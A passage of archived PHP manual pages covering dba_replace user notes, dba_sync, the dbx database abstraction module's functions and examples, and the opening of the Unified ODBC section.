Also when you search online you will see mention of “security” related issue, supposedly, related to the dba_replace() function.  In every instance of the “security” issue documented online, the dba_open function specified the DBA handler option of “inifile”.  DBA handler “inifile” is intended for the management of ini files specifically.  Here are the dba_open and dba_replace code snippets related to this “security” issue:

<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>

I have also seen errors listed online with DB4 and use of the dba_replace function.  Though I am skeptical of those reports.  Unfortunately I do not have a database with the DB4 handlers compiled in to check if there is an issue with dba_replace and the DB4 DBA handler or not.  At least you are aware that there may be an issue and can check if need be.

Assuming the correct DBA handlers are “built” or compiled into your database when built for the packages you are using, there is probably not an issue with dba_replace() and actual database files.  If you experience a problem with dba_replace() make sure you build in DBA handlers QDBM or GDBM.

You can not build in both QDBM and GDBM together in the same build, however you probably can build in both INIFILE and FLATFILE with either QDBM or GDBM.  It is unclear if you can build in either db3 or db4 with QDBM or GDBM.  It appears that DB4, CDB, INIFILE and FLATFILE are often built together.

see User contributed notes for dba_handlers() and dba_open() related to CDB.
jelte dot werkhoven at itfy dot com 26-Sep-2002 07:24
Not only will dba_replace add extra entries when trying to replace an existing smaller one, it will always add a new entry if the size of the value differs from the existing entry. This is probably due to the nature of the datum struct in DBM-type databases (I work with gdbm), which consist of a void pointer and a integer containing the size of the memory pointed to. Padding the value should solve this.
swain at panix dot com 06-Nov-2001 11:03
Note that if you replace an existing entry with a larger one, it will actually create a new entry and the old one is simply lost. This is a memory leak in other words.

You might want to try padding your values to a certain size before putting them in the db file; for example, if you are storing web pages in the db, pad them out to the next 500 byte size with spaces, and strip the spaces when you read it out. This will go a long way in saving disk space. I've seen db files grow to several megabytes with only a couple hundred text files in them.
dba_popen
dba_sync
DBA Functions


Synchronize database

dba_replace
dbx
DBA Functions
PHP Manual

dba_sync

(PHP 4, PHP 5)

dba_sync — Synchronize database

Description

bool dba_sync ( resource $handle )

dba_sync() synchronizes the database. This will probably trigger a physical write to the disk, if supported.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_optimize() - Optimize database

User Contributed Notes

There are no user contributed notes for this page.
dba_replace
dbx
DBA Functions


dbx

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • dbx Functions
    • dbx_close — Close an open connection/database
    • dbx_compare — Compare two rows for sorting purposes
    • dbx_connect — Open a connection/database
    • dbx_error — Report the error message of the latest function call in the module
    • dbx_escape_string — Escape a string so it can safely be used in an sql-statement
    • dbx_fetch_row — Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
    • dbx_query — Send a query and fetch all results (if any)
    • dbx_sort — Sort a result from a dbx_query by a custom sort function

User Contributed Notes

There are no user contributed notes for this page.
dba_sync
Introduction
Abstraction Layers


Introduction

The dbx module is a database abstraction layer (db 'X', where 'X' is a supported database). The dbx functions allow you to access all supported databases using a single calling convention. The dbx-functions themselves do not interface directly to the databases, but interface to the modules that are used to support these databases.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.
dbx
Installing/Configuring
dbx


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
dbx


Requirements

To be able to use a database with the dbx-module, the module must be either linked or loaded into PHP, and the database module must be supported by the dbx-module. Currently, the following databases are supported, but others will follow:

  • FrontBase (available from PHP 4.1.0).
  • Microsoft SQL Server
  • MySQL
  • ODBC
  • PostgreSQL
  • Sybase-CT (available from PHP 4.2.0).
  • Oracle (oci8) (available from PHP 4.3.0).
  • SQLite (PHP 5).

Documentation for adding additional database support to dbx can be found at » http://www.guidance.nl/php/dbx/doc/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

In order to have these functions available, you must compile PHP with dbx support by using the --enable-dbx option and all options for the databases that will be used, e.g. for MySQL you must also specify --with-mysql=[DIR] . To get other supported databases to work with the dbx-module refer to their specific documentation.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

DBX Configuration Options
Name | Default | Changeable | Changelog
dbx.colnames_case | "unchanged" | PHP_INI_SYSTEM | Available since PHP 4.3.0. Removed in PHP 5.1.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

dbx.colnames_case string

Columns names can be returned "unchanged" or converted to "uppercase" or "lowercase". This directive can be overridden with a flag to dbx_query().

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

There are two resource types used in the dbx module. The first one is the link-object for a database connection, the second a result-object which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

DBX_MYSQL (integer)
DBX_ODBC (integer)
DBX_PGSQL (integer)
DBX_MSSQL (integer)
DBX_FBSQL (integer)
DBX_OCI8 (integer) (available from PHP 4.3.0)
DBX_SYBASECT (integer)
DBX_SQLITE (integer) (PHP 5)
DBX_PERSISTENT (integer)
DBX_RESULT_INFO (integer)
DBX_RESULT_INDEX (integer)
DBX_RESULT_ASSOC (integer)
DBX_RESULT_UNBUFFERED (integer) (PHP 5)
DBX_COLNAMES_UNCHANGED (integer) (available from PHP 4.3.0)
DBX_COLNAMES_UPPERCASE (integer) (available from PHP 4.3.0)
DBX_COLNAMES_LOWERCASE (integer) (available from PHP 4.3.0)
DBX_CMP_NATIVE (integer)
DBX_CMP_TEXT (integer)
DBX_CMP_NUMBER (integer)
DBX_CMP_ASC (integer)
DBX_CMP_DESC (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
dbx Functions
dbx


dbx Functions

Table of Contents

  • dbx_close — Close an open connection/database
  • dbx_compare — Compare two rows for sorting purposes
  • dbx_connect — Open a connection/database
  • dbx_error — Report the error message of the latest function call in the module
  • dbx_escape_string — Escape a string so it can safely be used in an sql-statement
  • dbx_fetch_row — Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
  • dbx_query — Send a query and fetch all results (if any)
  • dbx_sort — Sort a result from a dbx_query by a custom sort function

User Contributed Notes

bart at mediawave dot nl 08-Jul-2004 06:45
Simple function for returning paged result sets.

<?php
// use: pagedQuery($link, $sql, $rows_per_page, $current_page)

function pagedQuery($link, $sql, $nrows = 10, $page = 1) {
    $handle = dbx_query($link, $sql, DBX_RESULT_UNBUFFERED);
    $result = new stdClass;
    $result->link = $this->link;
    $result->page = $page;
    $result->data = array();
    $result->info['name'] = array();
    $start = ($page - 1) * $nrows;
    $end = $start + $nrows;
    $result->rows = 0;
    while ($row = dbx_fetch_row($handle)) {
        $result->rows++;
        if (($result->rows > $start) && ($result->rows <= $end)) {
            $result->data[] = $row;
        }
    }
    if ($result->data[0]) {
        $result->cols = count($result->data[0]) / 2;
        $result->info['name'] = array_slice(array_keys($result->data[0]), $result->cols, $result->cols);
        $result->lastPage = ceil($result->rows / $nrows);
    }
    return $result;
}
?>
bart at mediawave dot nl 01-Jul-2004 08:12
Would like to confirm that dbx is at least three times faster than adodb with my application. However, once loaded, adodb has much more features and probably performs better in some situations then dbx.

One of the nice features that adodb has, is the way you can quickly make a dropdown menu from a query. Here's a similar function that works with a dbx result object:

<?php

// $result is the dbx_query result (It expects two fields)
// $name is the name of the dropdown field
// $selected is the option that should be selected
// $firstrow takes a string like "myvalue:myname"
// $attr can be used to add some extra attributes

function dropDown($result, $name, $selected, $firstRow, $attr) {
    $s = '<select name="'.$name.'" '.$attr.'>';
    if (is_string($firstRow))  {
        $row = explode(':', $firstRow);
        $s .= '<option value="'.$row[0].'">'.$row[1].'</option>';
    } else
        $s .= '<option></option>';
    foreach ($result->data as $row) {
        if ($row[0] == $selected)
            $s .= '<option value="'.$row[0].'" selected="selected">'.htmlspecialchars($row[1]).'</option>';
        else
            $s .= '<option value="'.$row[0].'">'.htmlspecialchars($row[1]).'</option>';
    }
    return $s.'</select>';
}

?>
rhcf at linux dot ime dot usp dot br 25-Nov-2003 01:52
BEWARE!!!

dbx_query allocate all retrieved data in an array on memory. If the query result is big (bigger then the memory_limit on php.ini), the result will be empty. So use dbx wih care.
carl [at] carlthompson [dot] net 07-Jun-2003 01:49
The above benchmark is very misleading. Unfortunately, I found out the hard way by porting my app to ADODB. Most PHP apps are going to be very short-lived therefore startup / setup time is a large factor. This benchmark does not measure that. Just include()ing the main ADODB file added 27ms to my app's startup time! Considering my app took only 16ms to run in total using DBX, the idea of switching to ADODB was DOA before running a single query.

In the end, the total time for my app went from 16ms with DBX to 49ms with ADODB. ADODB's powerful features are obviously not worth that kind of overhead.

Carl Thompson
jlim at natsoft dot com dot my 06-Feb-2003 07:35
For some benchmarks of dbx connecting to mysql compared to native mysql api, adodb, and others, see:
http://phplens.com/lens/adodb/
http://php.weblogs.com/2003/02/06#a2336
Predefined Constants
dbx_close
dbx


Close an open connection/database

dbx Functions
dbx_compare
dbx Functions
PHP Manual

dbx_close

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_close — Close an open connection/database

Description

int dbx_close ( object $link_identifier )

Parameters

link_identifier

The DBX link object to close.

Return Values

Returns 1 on success and 0 on errors.

Examples

Example #1 dbx_close() example

<?php
$link = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

echo "Connected successfully";
dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

See Also

  • dbx_connect() - Open a connection/database

User Contributed Notes

There are no user contributed notes for this page.
dbx Functions
dbx_compare
dbx Functions


Compare two rows for sorting purposes

dbx_close
dbx_connect
dbx Functions
PHP Manual

dbx_compare

(PHP 4 >= 4.1.0, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_compare — Compare two rows for sorting purposes

Description

int dbx_compare ( array $row_a , array $row_b , string $column_key [, int $flags = DBX_CMP_ASC | DBX_CMP_NATIVE ] )

dbx_compare() is a helper function for dbx_sort() to ease the make and use of the custom sorting function.

Parameters

row_a

First row

row_b

Second row

column_key

The compared column

flags

The flags can be set to specify comparison direction:

  • DBX_CMP_ASC - ascending order
  • DBX_CMP_DESC - descending order
and the preferred comparison type:
  • DBX_CMP_NATIVE - no type conversion
  • DBX_CMP_TEXT - compare items as strings
  • DBX_CMP_NUMBER - compare items numerically
One of the direction and one of the type constant can be combined with bitwise OR operator (|).

Return Values

Returns 0 if the row_a[$column_key] is equal to row_b[$column_key], and 1 or -1 if the former is greater or is smaller than the latter one, respectively, or vice versa if the flag is set to DBX_CMP_DESC.

Examples

Example #1 dbx_compare() example

<?php
function user_re_order($a, $b)
{
    $rv = dbx_compare($a, $b, "parentid", DBX_CMP_DESC);
    if (!$rv) {
        $rv = dbx_compare($a, $b, "id", DBX_CMP_NUMBER);
    }
    return $rv;
}

$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "SELECT id, parentid, description FROM table ORDER BY id");
    // data in $result is now ordered by id

dbx_sort($result, "user_re_order");
    // date in $result is now ordered by parentid (descending), then by id

dbx_close($link);
?>

See Also

  • dbx_sort() - Sort a result from a dbx_query by a custom sort function

User Contributed Notes

There are no user contributed notes for this page.
dbx_close
dbx_connect
dbx Functions


Open a connection/database

dbx_compare
dbx_error
dbx Functions
PHP Manual

dbx_connect

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_connect — Open a connection/database

Description

object dbx_connect ( mixed $module , string $host , string $database , string $username , string $password [, int $persistent ] )

Opens a connection to a database.

Parameters

module

The module parameter can be either a string or a constant, though the latter form is preferred. The possible values are given below, but keep in mind that they only work if the module is actually loaded.

  • DBX_MYSQL or "mysql"
  • DBX_ODBC or "odbc"
  • DBX_PGSQL or "pgsql"
  • DBX_MSSQL or "mssql"
  • DBX_FBSQL or "fbsql"
  • DBX_SYBASECT or "sybase_ct"
  • DBX_OCI8 or "oci8"
  • DBX_SQLITE or "sqlite"

host

The SQL server host

database

The database name

username

The username

password

The password

persistent

The persistent parameter can be set to DBX_PERSISTENT, if so, a persistent connection will be created.

The host, database, username and password parameters are expected, but not always used depending on the connect functions for the abstracted module.

Return Values

Returns an object on success, FALSE on error. If a connection has been made but the database could not be selected, the connection is closed and FALSE is returned.

The returned object has three properties:

database
It is the name of the currently selected database.
handle

It is a valid handle for the connected database, and as such it can be used in module-specific functions (if required).

<?php
$link = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password");
mysql_close($link->handle); // dbx_close($link) would be better here
?>

module
It is used internally by dbx only, and is actually the module number mentioned above.

Changelog

Version | Description
5.0.0 | Introduced DBX_SQLITE.
4.3.0 | Introduced DBX_OCI8.
4.2.0 | Introduced DBX_SYBASECT.
4.1.0 | Introduced DBX_FBSQL.

Examples

Example #1 dbx_connect() example

<?php
$link = dbx_connect(DBX_ODBC, "", "db", "username", "password", DBX_PERSISTENT)
    or die("Could not connect");

echo "Connected successfully";
dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

See Also

  • dbx_close() - Close an open connection/database

User Contributed Notes

Anonymous 05-Dec-2007 11:58
If you get an error:
"Error while trying to retrieve text for error ORA-12154"
means that you didn't set the ORACLE_HOME, TNS_ADMIN and ORACLE_BASE variable.
If you are sure it's set as a system variable, you could solve the problem by use:
putenv('ORACLE_HOME=/your/oracle/home/beforebin');
Jon Moss 04-Mar-2005 06:50
I have been using dbx for a product at work and the need to use SQLite as a database popped up. However, I couldn't find any references to using it with dbx other than that you could and since SQLite doesn't seem to do the username password thing I was a little confused as to how to use it in dbx.

With a little research it seems that when using dbx_connect you only need to fill in the module name ('DBX_SQLITE') and the database (the file name for the database!) to get it working. e.g.

$link = dbx_connect(DBX_SQLITE, "", "some.db", "", "");

thought someone might find it useful, especially since it no longer required additional dll's in version 5.x
BDKR at melnabone at mindless dt com 07-Dec-2002 10:18
The advantage that this has over Pear, Adob, and even Eclipse is speed. As some one put elsewhere,

"Yes, there is an advantage: Speed!
ext/dbx is written in C and has to be compiled into PHP. It's just faster then the PEAR classes."

Cheers,
BDKR
davidbullock at tech-center dot com 07-Jan-2002 10:01
Currently to connect to the PostgreSQL backend, you have to supply both a username, and a password or the dbx pgsql module attempts to connect as "nobody".
jeremy at deadbeef dot com 23-Jul-2001 01:54
Pear::DB seems like a better idea than this.  See http://pear.php.net
dbx_compare
dbx_error
dbx Functions


Report the error message of the latest function call in the module

dbx_connect
dbx_escape_string
dbx Functions
PHP Manual

dbx_error

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_error — Report the error message of the latest function call in the module

Description

string dbx_error ( object $link_identifier )

dbx_error() returns the last error message.

Parameters

link_identifier

The DBX link object returned by dbx_connect()

Return Values

Returns a string containing the error message from the last function call of the abstracted module (e.g. mysql module). If there are multiple connections in the same module, just the last error is given. If there are connections on different modules, the latest error is returned for the module specified by the link_identifier parameter.

Examples

Example #1 dbx_error() example

<?php
$link   = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "select id from non_existing_table");
if ($result == 0) {
    echo dbx_error($link);
}
dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

The error message for Microsoft SQL Server is actually the result of the mssql_get_last_message() function.

The error message for Oracle (oci8) is not implemented yet.

User Contributed Notes

There are no user contributed notes for this page.
dbx_connect
dbx_escape_string
dbx Functions


Escape a string so it can safely be used in an sql-statement

dbx_error
dbx_fetch_row
dbx Functions
PHP Manual

dbx_escape_string

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_escape_string — Escape a string so it can safely be used in an sql-statement

Description

string dbx_escape_string ( object $link_identifier , string $text )

Escape the given string so that it can safely be used in an sql-statement.

Parameters

link_identifier

The DBX link object returned by dbx_connect()

text

The string to escape.

Return Values

Returns the text, escaped where necessary (such as quotes, backslashes etc). On error, NULL is returned.

Examples

Example #1 dbx_escape_string() example

<?php
$link   = dbx_connect(DBX_MYSQL, "localhost", "db", "username", "password")
    or die("Could not connect");

$text = dbx_escape_string($link, "It\'s quoted and backslashed (\\).");
$result = dbx_query($link, "insert into tbl (txt) values ('" . $text . "')");
if ($result == 0) {
    echo dbx_error($link);
}
dbx_close($link);
?>

See Also

  • dbx_query() - Send a query and fetch all results (if any)

User Contributed Notes

There are no user contributed notes for this page.
dbx_error
dbx_fetch_row
dbx Functions


Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

dbx_escape_string
dbx_query
dbx Functions
PHP Manual

dbx_fetch_row

(PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_fetch_row — Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set

Description

mixed dbx_fetch_row ( object $result_identifier )

dbx_fetch_row() fetches rows from a result identifier that had the DBX_RESULT_UNBUFFERED flag set.

When the DBX_RESULT_UNBUFFERED is not set in the query, dbx_fetch_row() will fail as all rows have already been fetched into the results data property.

As a side effect, the rows property of the query-result object is incremented for each successful call to dbx_fetch_row().

Parameters

result_identifier

A result set returned by dbx_query().

Return Values

Returns an object on success that contains the same information as any row would have in the dbx_query() result data property, including columns accessible by index or fieldname when the flags for dbx_query() were set that way.

Upon failure, returns 0 (e.g. when no more rows are available).

Examples

Example #1 How to handle the returned value

<?php
$result = dbx_query($link, 'SELECT id, parentid, description FROM table', DBX_RESULT_UNBUFFERED);

echo "<table>\n";
while ($row = dbx_fetch_row($result)) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";
?>

See Also

  • dbx_query() - Send a query and fetch all results (if any)

User Contributed Notes

ed dot stafford over on gmail 09-Nov-2004 02:03
Use this function ONLY if you are using:
DBX_RESULT_UNBUFFERED

and make sure the database you're using will allow DBX_RESULT_UNBUFFERED as a flag on the connect line.

I spent 2 days trying to figure out WHY I couldn't use the dbx_fetch_row() function.  Too many languages!
dbx_escape_string
dbx_query
dbx Functions


Send a query and fetch all results (if any)

dbx_fetch_row
dbx_sort
dbx Functions
PHP Manual

dbx_query

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_query — Send a query and fetch all results (if any)

Description

mixed dbx_query ( object $link_identifier , string $sql_statement [, int $flags ] )

Sends a query and fetch all results.

Parameters

link_identifier

The DBX link object returned by dbx_connect()

sql_statement

SQL statement.

Data inside the query should be properly escaped.

flags

The flags parameter is used to control the amount of information that is returned. It may be any combination of the following constants with the bitwise OR operator (|). The DBX_COLNAMES_* flags override the dbx.colnames_case setting from php.ini.

DBX_RESULT_INDEX
It is always set, that is, the returned object has a data property which is a 2 dimensional array indexed numerically. For example, in the expression data[2][3] 2 stands for the row (or record) number and 3 stands for the column (or field) number. The first row and column are indexed at 0. If DBX_RESULT_ASSOC is also specified, the returning object contains the information related to DBX_RESULT_INFO too, even if it was not specified.
DBX_RESULT_INFO
It provides info about columns, such as field names and field types.
DBX_RESULT_ASSOC
It effects that the field values can be accessed with the respective column names used as keys to the returned object's data property. Associated results are actually references to the numerically indexed data, so modifying data[0][0] causes that data[0]['field_name_for_first_column'] is modified as well.
DBX_RESULT_UNBUFFERED
This flag will not create the data property, and the rows property will initially be 0. Use this flag for large datasets, and use dbx_fetch_row() to retrieve the results row by row. The dbx_fetch_row() function will return rows that are conformant to the flags set with this query. Incidentally, it will also update the rows each time it is called.
DBX_COLNAMES_UNCHANGED
The case of the returned column names will not be changed.
DBX_COLNAMES_UPPERCASE
The case of the returned column names will be changed to uppercase.
DBX_COLNAMES_LOWERCASE
The case of the returned column names will be changed to lowercase.
Note that DBX_RESULT_INDEX is always used, regardless of the actual value of flags parameter. This means that only the following combinations are effective:
  • DBX_RESULT_INDEX
  • DBX_RESULT_INDEX | DBX_RESULT_INFO
  • DBX_RESULT_INDEX | DBX_RESULT_INFO | DBX_RESULT_ASSOC - this is the default, if flags is not specified.

Return Values

dbx_query() returns an object or 1 on success, and 0 on failure. The result object is returned only if the query given in sql_statement produces a result set (i.e. a SELECT query, even if the result set is empty).

The returned object has four or five properties depending on flags:

handle

It is a valid handle for the connected database, and as such it can be used in module specific functions (if required).

<?php
$result = dbx_query($link, "SELECT id FROM table");
mysql_field_len($result->handle, 0);
?>

cols and rows

These contain the number of columns (or fields) and rows (or records) respectively.

<?php
$result = dbx_query($link, 'SELECT id FROM table');
echo $result->rows; // number of records
echo $result->cols; // number of fields
?>

info (optional)
It is returned only if either DBX_RESULT_INFO or DBX_RESULT_ASSOC is specified in the flags parameter. It is a 2 dimensional array, that has two named rows (name and type) to retrieve column information.

Example #1 lists each field's name and type

<?php
$result = dbx_query($link, 'SELECT id FROM table',
                     DBX_RESULT_INDEX | DBX_RESULT_INFO);

for ($i = 0; $i < $result->cols; $i++ ) {
    echo $result->info['name'][$i] . "\n";
    echo $result->info['type'][$i] . "\n";
}
?>
data
This property contains the actual resulting data, possibly associated with column names as well depending on flags. If DBX_RESULT_ASSOC is set, it is possible to use $result->data[2]["field_name"].

Example #2 outputs the content of data property into HTML table

<?php
$result = dbx_query($link, 'SELECT id, parentid, description FROM table');

echo "<table>\n";
foreach ($result->data as $row) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";
?>

Example #3 How to handle UNBUFFERED queries

<?php

$result = dbx_query ($link, 'SELECT id, parentid, description FROM table', DBX_RESULT_UNBUFFERED);

echo "<table>\n";
while ($row = dbx_fetch_row($result)) {
    echo "<tr>\n";
    foreach ($row as $field) {
        echo "<td>$field</td>";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Changelog

Version | Description
5.0.0 | Introduced DBX_RESULT_UNBUFFERED.
4.3.0 | Introduced DBX_COLNAMES_UNCHANGED, DBX_COLNAMES_UPPERCASE, and DBX_COLNAMES_LOWERCASE.

Examples

Example #4 How to handle the returned value

<?php
$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, 'SELECT id, parentid, description FROM table');

if (is_object($result) ) {
    // ... do some stuff here, see detailed examples below ...
    // first, print out field names and types
    // then, draw a table filled with the returned field values
} else {
    exit("Query failed");
}

dbx_close($link);
?>

Notes

Note:

Always refer to the module-specific documentation as well.

Column names for queries on an Oracle database are returned in lowercase.

See Also

  • dbx_escape_string() - Escape a string so it can safely be used in an sql-statement
  • dbx_fetch_row() - Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
  • dbx_connect() - Open a connection/database

User Contributed Notes

BeyondMat 02-Feb-2005 06:47
You can use stored procedures instead of having to specify a text string to execute, e.g.

$results = dbx_query($conn, 'sp_Test');

This executes the stored procedure sp_Test.
dbx_fetch_row
dbx_sort
dbx Functions


Sort a result from a dbx_query by a custom sort function

dbx_query
ODBC
dbx Functions
PHP Manual

dbx_sort

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL dbx >= 1.1.0)

dbx_sort — Sort a result from a dbx_query by a custom sort function

Description

bool dbx_sort ( object $result , string $user_compare_function )

Sort a result from a dbx_query() call with a custom sort function.

Parameters

result

A result set returned by dbx_query().

user_compare_function

The user-defined comparison function. It must accept two arguments and return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 dbx_sort() example

<?php
function user_re_order($a, $b)
{
    $rv = dbx_compare($a, $b, "parentid", DBX_CMP_DESC);
    if (!$rv) {
        $rv = dbx_compare($a, $b, "id", DBX_CMP_NUMBER);
    }
    return $rv;
}

$link   = dbx_connect(DBX_ODBC, "", "db", "username", "password")
    or die("Could not connect");

$result = dbx_query($link, "SELECT id, parentid, description FROM tbl ORDER BY id");
    // data in $result is now ordered by id

dbx_sort($result, "user_re_order");
    // data in $result is now ordered by parentid (descending), then by id

dbx_close($link);
?>

Notes

Note:

It is always better to use ORDER BY SQL clause instead of dbx_sort() if possible.

See Also

  • dbx_compare() - Compare two rows for sorting purposes

User Contributed Notes

There are no user contributed notes for this page.
dbx_query
ODBC
dbx Functions


ODBC (Unified)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • ODBC Functions
    • odbc_autocommit — Toggle autocommit behaviour
    • odbc_binmode — Handling of binary column data
    • odbc_close_all — Close all ODBC connections
    • odbc_close — Close an ODBC connection
    • odbc_columnprivileges — Lists columns and associated privileges for the given table
    • odbc_columns — Lists the column names in specified tables
    • odbc_commit — Commit an ODBC transaction
    • odbc_connect — Connect to a datasource
    • odbc_cursor — Get cursorname
    • odbc_data_source — Returns information about a current connection
    • odbc_do — Alias of odbc_exec
    • odbc_error — Get the last error code
    • odbc_errormsg — Get the last error message
    • odbc_exec — Prepare and execute an SQL statement
    • odbc_execute — Execute a prepared statement
    • odbc_fetch_array — Fetch a result row as an associative array
    • odbc_fetch_into — Fetch one result row into array
    • odbc_fetch_object — Fetch a result row as an object
    • odbc_fetch_row — Fetch a row
    • odbc_field_len — Get the length (precision) of a field
    • odbc_field_name — Get the columnname
    • odbc_field_num — Return column number
    • odbc_field_precision — Alias of odbc_field_len
    • odbc_field_scale — Get the scale of a field
    • odbc_field_type — Datatype of a field
    • odbc_foreignkeys — Retrieves a list of foreign keys
    • odbc_free_result — Free resources associated with a result
    • odbc_gettypeinfo — Retrieves information about data types supported by the data source
    • odbc_longreadlen — Handling of LONG columns
    • odbc_next_result — Checks if multiple results are available
    • odbc_num_fields — Number of columns in a result
    • odbc_num_rows — Number of rows in a result
    • odbc_pconnect — Open a persistent database connection
    • odbc_prepare — Prepares a statement for execution
    • odbc_primarykeys — Gets the primary keys for a table
    • odbc_procedurecolumns — Retrieve information about parameters to procedures
    • odbc_procedures — Get the list of procedures stored in a specific data source
    • odbc_result_all — Print result as HTML table
    • odbc_result — Get result data
    • odbc_rollback — Rollback a transaction
    • odbc_setoption — Adjust ODBC settings
    • odbc_specialcolumns — Retrieves special columns
    • odbc_statistics — Retrieve statistics about a table
    • odbc_tableprivileges — Lists tables and the privileges associated with each table
    • odbc_tables — Get the list of table names stored in a specific data source

User Contributed Notes

There are no user contributed notes for this page.
dbx_sort
Introduction
Abstraction Layers


Introduction

In addition to normal ODBC support, the Unified ODBC functions in PHP allow you to access several databases that have borrowed the semantics of the ODBC API to implement their own API. Instead of maintaining multiple database drivers that were all nearly identical, these drivers have been unified into a single set of ODBC functions.

The following databases are supported by the Unified ODBC functions: » Adabas D, » IBM DB2, » iODBC, » Solid, and » Sybase SQL Anywhere.

Note:

With the exception of iODBC, there is no ODBC involved when connecting to the above databases. The functions that you use to speak natively to them just happen to share the same names and syntax as the ODBC functions. However, building PHP with iODBC support enables you to use any ODBC-compliant drivers with your PHP applications. More information on iODBC, is available at » www.iodbc.org with the alternative unixODBC available at » www.unixodbc.org.

User Contributed Notes

There are no user contributed notes for this page.
ODBC
Installing/Configuring
ODBC


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
ODBC


Requirements

To access any of the supported databases you need to have the required libraries installed.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

--with-adabas[=DIR]

Include Adabas D support. DIR is the Adabas base install directory, defaults to /usr/local.

--with-sapdb[=DIR]

Include SAP DB support. DIR is SAP DB base install directory, defaults to /usr/local.

--with-solid[=DIR]

Include Solid support. DIR is the Solid base install directory, defaults to /usr/local/solid.

--with-ibm-db2[=DIR]

Include IBM DB2 support. DIR is the DB2 base install directory, defaults to /home/db2inst1/sqllib.

--with-empress[=DIR]

Include Empress support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. This option only supports Empress Version 8.60 and above.

--with-empress-bcs[=DIR]

Include "Empress Local Access" support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. This option only supports Empress Version 8.60 and above.

--with-birdstep[=DIR]

Include Birdstep support. DIR is the Birdstep base install directory, defaults to /usr/local/birdstep.

--with-custom-odbc[=DIR]

Include a user defined ODBC support. The DIR is ODBC install base directory, which defaults to /usr/local. Make sure to define CUSTOM_ODBC_LIBS and have some odbc.h in your include dirs. E.g., you should define following for Sybase SQL Anywhere 5.5.00 on QNX, prior to run configure script:

   CPPFLAGS="-DODBC_QNX -DSQLANY_BUG"
   LDFLAGS=-lunix
   CUSTOM_ODBC_LIBS="-ldblib -lodbc".

--with-iodbc[=DIR]

Include iODBC support. DIR is the iODBC base install directory, defaults to /usr/local.

--with-esoob[=DIR]

Include Easysoft OOB support. DIR is the OOB base install directory, defaults to /usr/local/easysoft/oob/client.

--with-unixODBC[=DIR]

Include unixODBC support. DIR is the unixODBC base install directory, defaults to /usr/local.

--with-openlink[=DIR]

Include OpenLink ODBC support. DIR is the OpenLink base install directory, defaults to /usr/local. This is the same as iODBC.

--with-dbmaker[=DIR]

Include DBMaker support. DIR is the DBMaker base install directory, defaults to where the latest version of DBMaker is installed (such as /home/dbmaker/3.6).

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Unified ODBC Configuration Options
Name | Default | Changeable | Changelog
